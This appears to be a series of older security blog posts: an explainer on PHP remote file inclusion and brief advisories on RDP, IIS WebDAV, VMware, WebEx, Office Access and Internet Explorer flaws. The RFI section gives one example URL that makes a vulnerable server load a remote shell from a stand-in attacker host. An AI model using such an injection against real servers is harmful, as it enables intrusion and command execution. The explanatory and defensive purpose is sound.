Understanding PHP RFI Vulnerabilities

PHP is a scripting language that is deployed on countless web servers and used in many web frameworks. “PHP is a widely-used general-purpose scripting language that is especially suited for Web development and can be embedded into HTML.”[1] In 2007, at least 20 million websites had PHP deployed. The exponential growth of PHP came from the development of LAMP/WAMP stacks. These stand for Linux/Apache/MySQL/PHP and Windows/Apache/MySQL/PHP respectively.

These ensure that deployment of PHP applications are simple enough for the most novice web developer. Many of you may have heard of WordPress, Drupal, or Joomla. These are common web applications that are written entirely in PHP. Many sites run PHP as their main scripting language, such as Youtube, Facebook, Digg, and Wikipedia.

PHP also powers cybercrime. A large majority of publicly disclosed vulnerabilities are PHP related. In 2009, 5733 PHP Remote File Inclusion vulnerabilities were disclosed.[2] In situations where exploiting PHP RFI is possible, most likely SQL Injection and Cross Site Scripting are all possible. This is due to the exploits having the same root cause or lacking input validation.

What is a PHP Remote File Injection (RFI) attack? A PHP RFI attack occurs when there is unvalidated input to a PHP script. This allows PHP code to be injected by a malicious person. For example, a typical PHP URL would look something like this:


How can this be abused to cause PHP RFI? The errors.php script is taking a file as input, which in the example, is errorsfile.php. If the site is vulnerable and does not have input validation, any file could be used as input, even files from remote servers. When the vulnerable server requests www.example.com/errors.php?error=http://evilhaxor.com/remoteshell.php, the remoteshell.php file will be processed by the web server. Attackers can do quite a bit with remotely included PHP files, including opening a shell, enumerating users or programs, and defacing the website. Basically, whatever user the web server is running as, an attacker can run commands as that user.

How do we fix PHP RFI? There are several variables within the PHP configuration that can be set to provide a more secure environment for PHP code to run in. These are register_globals, allow_url_fopen, and allow_url_include. In an ideal world, we would be able to set all of these variables in the php.ini file to OFF. However, in most cases this will break applications dependent on these functions. A thorough review of their usage should be done before setting any of them to OFF. Another solution is to implement secure coding practices in PHP, and to implement input validation.

Detailing input validation methods and ways to securely code PHP is too complex for this article. However you can discover more by reading the OWASP Top 10 entries for PHP RFI, and the Web Application Security Consortium article on PHP RFI. Both will help you learn about this threat and take precautions for your own network.

On Black Tuesday, RDP Shines

Microsoft patched two privately reported vulnerabilities for RDP today. Yes, RDP. No, not the server, the client. One of the most widely used tools by Windows system administrators is vulnerable to remote code execution. Not good. There is good here though, in order to exploit this vulnerability the user of an RDP client must be tricked or social engineered to connect to a malicious RDP server or a specially crafted website. Also, Microsoft is not aware of an exploit for this vulnerability at the time of this writing. It shouldn’t be long though, as we all know the more popular the software, the more likely there will be an exploit for an existing vulnerability.

Users currently employing automatic updates should see this issue resolved during their next update. For those of us who cannot have automatic updates enabled, we’d recommend getting this patch in during the next maintenance window.

Microsoft IIS 6.0 WebDav Vulnerability – Urgent

We recently received a report of a vulnerability we thought everyone should be aware of. The vulnerability is in the Microsoft IIS 6.0 implementation of the WebDAV protocol. According to Wikipedia, “Web-based Distributed Authoring and Versioning, or WebDAV, is a set of extensions to the Hypertext Transfer Protocol (HTTP) that allows users to edit and manage files collaboratively on remote World Wide Web servers.” A common tool used as a WebDAV client, is Microsoft’s FrontPage.

The vulnerability describes a way for an attacker to retrieve protected files without any authentication. From a technical standpoint, all an attacker needs to do is insert a certain unicode character in the URI request. This make this vulnerability trivial to exploit. The vulnerability allows attackers to list all of the files in the WebDAV folder, and then access them individually.

As of this morning, there is no known mitigation for this vulnerability save disabling WebDAV for the time being.

Businesses employing an IIS 6.0 Web Server with WebDAV authoring method should carefully analyze their need for such service, and disable it if possible until a fix is released.

Port Knocking and SPA – Thoughts

A colleague of mine pointed me to an article on Port Knocking, more specifically, Single Packet Authorization. I wasn’t too familiar with either but once I started reading, some thoughts came to mind. Does this look far to cumbersome and “pain in the butt” to implement for such a small gain to anyone else? This is just another method of implementing the doomed “security by obscurity”.
First off, Port Knocking “is a method of externally opening ports on a firewall by generating a connection attempt on a set of prespecified closed ports.” [1] Single Packet Authorization is similar, but requires only one encrypted packet. While this may impress some people with it’s technical savvy, this solution should be thoroughly evaluated before implementing. As far as enterprise usability goes – limited at best. Talking amongst ourselves here we did think of one implementation that would actually be useful. That is to prevent your ISP from knowing you’re hosting a service without having to create extensive black or white lists. You could host an ftp server for example without the port ever showing as open to an overly intrusive ISP. Of course we do not condone the breaking of any agreements with an ISP.
However, for enterprise environments Port Knocking and Single Packet Authorization are in my opinion no way a replacement for good security practices These include keeping the service up to date with any patches/updates provided by the vendor. Be aware of any newly developed or developing threats to the service you’re hosting. Implement proper ACLs at the firewall. Block all of Eastern Asia from accessing your SSH service if need be. Use VPN clients. This is critical, there’s no real reason to have remote access ports opened without protection. Use VPN clients. Just about every enterprise firewall comes with some sort of VPN option. Last but not least, do not forget the importance of a strong password policy. Brute force attacks really become a non issue with a complicated enough password.
In conclusion, PK and SPA sound good in practice, and implemented as part of a greater defense in depth solution could work; otherwise, stand alone PK and SPA in my opinion are less than ideal.

[1] http://en.wikipedia.org/wiki/Port_knocking

VMware Multiple Vulnerabilities

Multiple vulnerabilities were released for what looks like most versions of VMware. VMware Workstation, Server, Player, and ESX Server contain two vulnerabilities. The first of these is an unspecified error in the “OpenProcess”. This can be exploited by local users to escalate their privilege. From some limited Google searches I found that “OpenProcess” is an API function that must be being used by VMware’s core application.

The next vulnerabilities isn’t actually a VMware vulnerability as it is a freetype font vulnerability. CVE-2008-1806, CVE-2008-1807, and CVE-2008-1808 describe vulnerabilities in the font that can lead to the exploitation of systems (applications) using them. The same is true in VMware, if an application is using these fonts, then it’s possible to compromise the system via exploitation of the vulnerable application.

There appears to be an updated build for all version except ESX, which has an update pending.

Web Application Scanning Tools

There have been several publicized releases of web scanning tools this week. Three specific ones come to mind, that enable assessors to automate a large part of the web application/site assessments. With this, there’s a lot of buzz on mailing lists about these tools, so expect an increase in threat to any web facing applications or sites. All of these tools are freely available for download.

WebEx Meeting Manager Vulnerable ActiveX

An activex control installed by Cisco WebEx Meeting Manager is vulnerable to remote code execution or denial of service. The activex control, atucfobj.dll, is installed when a user connects to a WebEx meeting service. When users connect to an upgraded meeting service, the client side activex is automatically upgraded. Exploit code for this vulnerability has been publicly released.

As an aside, the interesting part of this vulnerability, according to a post from NANOG, is that even if you have cleaned the install of the client off your machine and have the latest version, if you connect to a meeting service that is NOT up to date, you could then become vulnerable again.

The full vulnerability details can be found at http://www.cisco.com/warp/public/707/cisco-sa-20080814-webex.shtml

Wifi Users Beware – Your System Can Turn Against You

Researchers at this years DEFCON event have demonstrated an attack that causes access points to turn against legitimate users. The attack works by utilizing the built in DDoS protection mechanisms and turning it against the users. By sending a specially crafted packet to the AP, an attacker could cause the AP to assume that the legitimate clients are the ones performing the DoS attack, and cause them to be locked out. Eight examples were demonstrated at DEFCON 16.

Office Access Remote Code Execution

Microsoft Office Access 2000, 2002, and 2003 contain a vulnerable ActiveX control. This control is a component that enables a user to view an Access report snapshot without having the standard or run-time versions of Microsoft Office Access. This can be exploited by malicious websites to take complete control (execute code remotely) over a visitors system. The ideal mitigation is to disable the affected ActiveX control by setting the killbit for the affected CLSIDs. Those CLSID’s are F0E42D50-368C-11D0-AD81-00A0C90DC8D9, F0E42D60-368C-11D0-AD81-00A0C90DC8D9, F2175210-368C-11D0-AD81-00A0C90DC8D9. See http://support.microsoft.com/kb/240797 for more information on setting the killbit.

IE6 and IE7 Vulnerable

A vulnerability in IE7 allows for websites to modify the location of another frame in another window by setting the location to an object instead of a string.This could lead to malicious sites loading content into frames of legitimate sites.

An input validation vulnerability in IE6 could result in the execution of arbitrary script code. This is due to errors in the handling of properties of a window object. Users should upgrade to IE7 as it is not affected by this vulnerability.